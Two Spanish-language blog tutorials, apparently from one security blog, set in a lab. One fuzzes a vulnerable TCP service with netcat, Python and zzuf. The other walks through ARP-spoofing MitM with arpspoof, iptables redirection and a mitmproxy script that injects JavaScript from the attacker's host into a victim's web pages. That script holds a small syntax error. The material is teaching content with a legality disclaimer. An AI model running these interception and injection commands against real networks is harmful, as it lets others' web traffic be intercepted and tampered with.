Fuzzing a una aplicación con zzuf

Introducción: ¿por qué fuzzing?

Cuando nos encontramos haciendo tareas de ingeniería inversa a una aplicación, una de las tareas más monótonas es la de enviar stuff (“cosas“) a un punto de entrada de la aplicación para ver cómo responde. En función de nuestro objetivo (descubrir buffer overflow, format string…), el tipo de stuff que enviemos variará, no sólo en su contenido si no también en su cantidad, sobre todo si lo que buscamos es provocar un buffer overflow. Y cuando hablamos de cantidad, lo ideal es hacer fuzzing en lugar de hacerlo con peticiones manuales.

En el caso de los desbordamientos, más que el tipo de contenido lo que se busca es la cantidad, y aquí tenemos varias opciones de enviar “cosas” a la aplicación; de forma manual, mediante ejecución de instrucciones Python / Perl desde la consola, creándonos nuestro propio script o utilizar herramientas ya desarrolladas para este tipo de tareas; fuzzers.

En este artículo veremos distintas opciones, para finalmente presentar y ver algunos ejemplos de zzuf, el fuzzer del que vamos a hablar en este post.
Escenario

Para explicar el funcionamiento de un fuzzer, y de zzuf concretamente hemos preparado el siguiente escenario; una aplicación remota vulnerable a buffer overlflow (basado en stack), accesible a través del puerto TCP/9999.

Ese puerto a la escucha es nuestro único punto de entrada. Podríamos escanear el puerto, descubrir versión del servicio y buscar si hay alguna vulnerabilidad desconocida. En caso negativo, no nos queda otra que enviar cosas al puerto y ver cómo responde la aplicación.

En este caso, haciendo netcat al puerto conseguimos acceso a la aplicación, donde nos indica que podemos obtener ayuda escribiendo el comando HELP.
Peticiones manuales a la aplicación

Obviamente nuestra intención es otra, es encontrar qué tipo de información tenemos que enviarle y en qué cantidad. La explotación de la vulnerabilidad de buffer overflow no entra en el contexto de este artículo, lo explicaremos más adelante en otro, pero se puede ver marcado en amarillo una serie de comandos de la aplicación. Estos comandos son los usaremos para enviar nuestro stuff e intentar provocar el BO (buffer overflow).

Como decíamos en la introducción al artículo, podemos hacer peticiones manuales. En la imagen anterior al comando HELP le hemos añadido una serie de caracteres, primero dígitos y a continuación acompañados de varios caracteres “A“. La respuesta de la aplicación es que ese comando no está implementado. Podríamos seguir probando con más cantidad, con otros comandos, pero como os podéis imaginar esto llega a ser bastante tedioso y monótono si lo hacemos manualmente.
Más cantidad con Python / Perl

Para facilitar esta introducción de información a la aplicación, para forzar algún tipo de error que provoque por ejemplo en crash en la misma, podemos hacer uso de lenguajes como Python o Perl desde la propia consola. En nuestro caso estamos utilizando Kali como máquina “atacante”.

Así que una forma muy simple podemos mandar más cantidad de información al puerto TCP/9999 de la aplicación. Supongamos que queremos enviarle 200 caracteres “A”. En lugar de escribirlos, podemos hacer uso de Python para generar esos caracteres y la salida enviarla con netcat al puerto de la aplicación.

Con un simple comando “echo” podríamos enviar la salida de éste a “netcat”, pero tendríamos el mismo problema:

    echo “HELP 1234567890AAAAAAAA” | nc 192.168.10.145 9999

Sin embargo podemos concatenar la salida de una instrucción Python al comando “echo”.

Como se puede ver en la imagen, enviar una gran cantidad de datos a una aplicación remota con Python es realmente sencillo. En el último ejemplo hemos enviado 5000 caracteres “A” y podemos observar un comportamiento distinto, en cuanto a respuesta de la aplicación, que cuando se enviaron 50 o 500 caracteres “A”. Interesante.
Utilizando un fuzzer: zzuf

Por último, veamos cómo hacerlo con el protagonista real de este artículo, un fuzzer llamado zzuf, que nos va a ayudar en nuestra labor a la hora de hacer fuzzing a la aplicación y que además altera de forma aleatoria el contenido de lo que enviamos. Recordad que en ocasiones no es tan importante la cantidad si no la calidad de lo que se envía.

De hecho vamos a utilizar zzuf justo para eso, para alterar de forma aleatoria la información que vamos a enviar, ya que hemos visto que generar contenido es muy sencillo con Python o Perl.

Así que, de forma sencilla, vamos a generar un fichero txt con Python que contendrá el comando “HELP ” seguido de una gran cantidad de caracteres “A”, por ejemplo 500.

Ya tenemos un fichero llamado fuzz.txt.

Ahora con zzuf lo que vamos a hacer es alterar aleatoriamente el contenido del fichero, veamos un ejemplo:

En la imagen anterior, en la primera ejecución vemos cómo altera aleatoriamente la salida del “cat” del fichero. Pero atención, hay un problema y es que también ha alterado el tercer byte de nuestro fichero, dejando el comando “HELP” en “HENP“, lo cual no nos interesa.

Zzuf tiene esto en cuenta y permite con el parámetro -b indicar a partir de qué byte empieza a alterar. En la segunda ejecución de zzuf hemos indicado -b6- para que empiece a partir del sexto byte, para que no modifique la palabra HELP.

También podemos indicar el ratio de modificación del contenido. Por ejemplo, si queremos que modifique el 50% del contenido haremos uso del parámetro -r de la siguiente forma:

    zzuf -b6- -r0.5 cat fuzz.txt

Hasta aquí este artículo sobre fuzzing con zzuf. Espero que os haya resultado útil y entendáis la facilidad con la que se puede generar stuff para enviarla a una aplicación remota, siempre teniendo en cuenta en qué momento nos interesa cantidad o calidad (zzuf).

mitmproxy: MitM de tráfico Web for fun and profit

¿Qué es mitmproxy?

En esta nueva entrada del blog vamos a tratar un tema que siempre despierta un gran interés. No se trata de ninguna técnica nueva ni mucho menos, pero sigue dando mucho “juego“. Se trata de los ataques a la red TCP/IP, concretamente haciendo Man-in-the-Middle con envenenamiento de ARP. Algo de lo que ya hemos hablado en varias ocasiones en ese blog, pero en esta ocasión nos vamos a centrar en el tráfico Web el cual vamos a controlar con un proxy Web diseñado precisamente para el tipo de ataque que vamos a ver a continuación, mitmproxy.

Esta herramienta, que la podéis descargar desde su GitHub en esta dirección https://github.com/mitmproxy/mitmproxy, actúa como un proxy Web donde podemos interceptar tráfico, como lo haría otros proxies Web locales como Burp o ZAP, y nos proporciona una serie de scripts en Python para, por ejemplo, inyectar código HTML. Suena divertido, ¿verdad? Hay muchas herramientas que también permiten hacer esto, pero hemos elegido esta por su sencillez a la hora de lanzar este ataque.
Objetivo: inyectar código HTML

Nuestro objetivo es lanzar un ataque de MitM utilizando la técnica de envenenamiento ARP, redirigir el tráfico Web a nuestro proxy local, mitmproxy, e inyectar nuevo código en la respuesta del servidor, para alterar la apariencia de la Web en el navegador del usuario.
Escenario

Como venimos haciendo últimamente en el blog, pasamos a explicar cuál es el escenario que vamos a usar para esta prueba de concepto del ataque.

Tenemos dos máquinas virtuales; una Windows 7 (192.168.10.146) que actuará como víctima y una Kali 2 (192.168.10.149) que actuará como máquina atacante.

Herramientas a usar en máquina atacante:

    arpspoof: para lanzar ataque MitM evenando tabla ARP
    iptables: para redirigir tráfico 80/443 a mitmproxy
    mitmproxy: para interceptar e inyectar código HTML

Si usáis como máquina atacante Kali 2, estas herramientas ya las tendréis a vuestra disposición para ser usadas.
Ataque MitM y redirección de tráfico

Antes de poder inyectar tráfico HTML en las respuestas del servidor al cliente (navegador Web de la víctima), necesitamos que su tráfico de red pase por nuestra máquina atacante, para ello lanzamos un ataque de arpspoofing con la herramienta arpspoof.

Pero antes de hacer esto, si no queremos dejar a la víctima sin acceso a Internet u otras redes, tenemos que hacer que nuestra máquina atacante actúe como un router, y haga reenvío de paquetes.

    echo 1 > /proc/sys/net/ipv4/ip_forward

Teniendo en cuenta, que la puerta de enlace es la 192.168.10.2, la sintaxis quedaría de la siguiente manera:

    arpspoof -i eth0 -t 192.168.10.146 192.168.10.2

Si todo se ha ejecutado correctamente, ya tenemos pasando por nuestra interfaz el tráfico de red de la máquina Windows 7. Como hemos comentado anteriormente, nuestro objetivo es interceptar el tráfico Web, tanto http (80) como https (443), así que necesitamos que este tráfico sea redirigido a mitmproxy, que por defecto escucha en el puerto 8080.

    iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080

    iptables -t nat -A PREROUTING -p tcp –destination-port 443 -j REDIRECT –to-port 8080

Inyección de HTML con mitmproxy

Una vez que tenemos el tráfico Web redirigido, vamos a ejecutar mitmproxy (lo ideal es ejecutarlo antes de hacer iptables) para interceptar el tráfico e inyectar código HTML, concretamente será un Javascript.

Como veréis a continuación, lo haremos con algo divertido y es modificando la apariencia de una Web, pero seguro que estáis pensando que puede ser usado para otras “cosas“.

Como siempre, en nuestro blog, no fomentamos que hagáis un uso ilícito de estas técnicas. Hacedlo en entornos propios o con el consentimiento expreso de terceros.

A mitmproxy le vamos a pasar como parámetro un script para que inyecte código JavaScript en las respuestas HTTP del servidor, que será cargado en el navegador Web de la víctima.

Este script se llama js_inyector.py y os pongo aqúi el código.

El código lo he obtenido del blog de Pankaj Malhotra: http://pankajmalhotra.com

# Usage: mitmdump -s "js_injector.py src"

# (this script works best with --anticache)

from bs4 import BeautifulSoup

from libmproxy.protocol.http import decoded

# On start of proxy server ask for src as an argument

def start(context, argv):

   if len(argv) != 2:

       raise ValueError('Usage: -s "js_injector.py src"')

   context.src_url = argv[1]

def response(context, flow):

   with decoded(flow.response): # Remove content encoding (gzip, ...)

       html = BeautifulSoup(flow.response.content)

       """

       # To Allow CORS

       if "Content-Security-Policy" in flow.response.headers:

           del flow.response.headers["Content-Security-Policy"]

       """

       if html.body and ('text/html' in flow.response.headers["content-type"][0]):

           script = html.new_tag(

               "script",

               src=context.src_url)

           html.body.insert(len(html.body.contents, script)

           flow.response.content = str(html)

           context.log("******* Filter Injected *******")

Se trata de un script en Python que utiliza la librería de BeautifulSoup para manejar objetos HTML. Sólo he modificado la línea que está marcada para qu e el código lo inyecte al final de la etiqueta body, y no al principio. En este caso, para inyectar una etiqueta HTML nueva para cargará un fichero JavaScript llamado harlem-shake.js. ¿Os imagináis ya lo que hará la Web cuando le inyectemos el código? Seguimos.

El código JavaScript de Harlem Shake lo podéis descargar por ejemplo desde aquí: https://gist.github.com/commadelimited/4958196

Este es el código HTML a inyectar:

    <script src=”http://192.168.10.149/harlem-shake.js”></script>

El fichero harlem-shake.js lo tengo en la misma máquina Kali 2, y para que lo pueda descargar el navegador de la víctima, voy a levantar con Python un simple servidor Web donde tengo guardado el fichero.

    python -m SimpleHTTPServer 80

Ya podemos ejecutar nuestro mitmproxy con el script de inyección de JavaScript, js_inyector.py. El parámetro -T es para indicar que se ejecutará en modo transparente.

    mitmproxy -T -s “js_inyector.py http://192.168.10.149/harlem-shake.js”

Al propio script le estamos pasando un argumento que es el origen del fichero JavaScript que tiene que inyectar, en este caso nuestro servidor Web montado con Python donde se encuentra el fichero harlem-shake.js.

Cuando la víctima abra una Web en su navegador, el tráfico será interceptado y se inyectará el JavaScript. Por ejemplo, supongamos que abre www.hacking-etico.com.

Como se puede ver en la imagen, que se está haciendo una petición GET para cargar harlem-shake.js. De hecho podemos comprobar en el código fuente de la página como realmente se ha inyectado la etiqueta HTML correspondiente.

Ya tan sólo queda por ver el resultado del ataque. A continuación os pongo un vídeo de captura, donde se podrá apreciar mucho mejor. 😉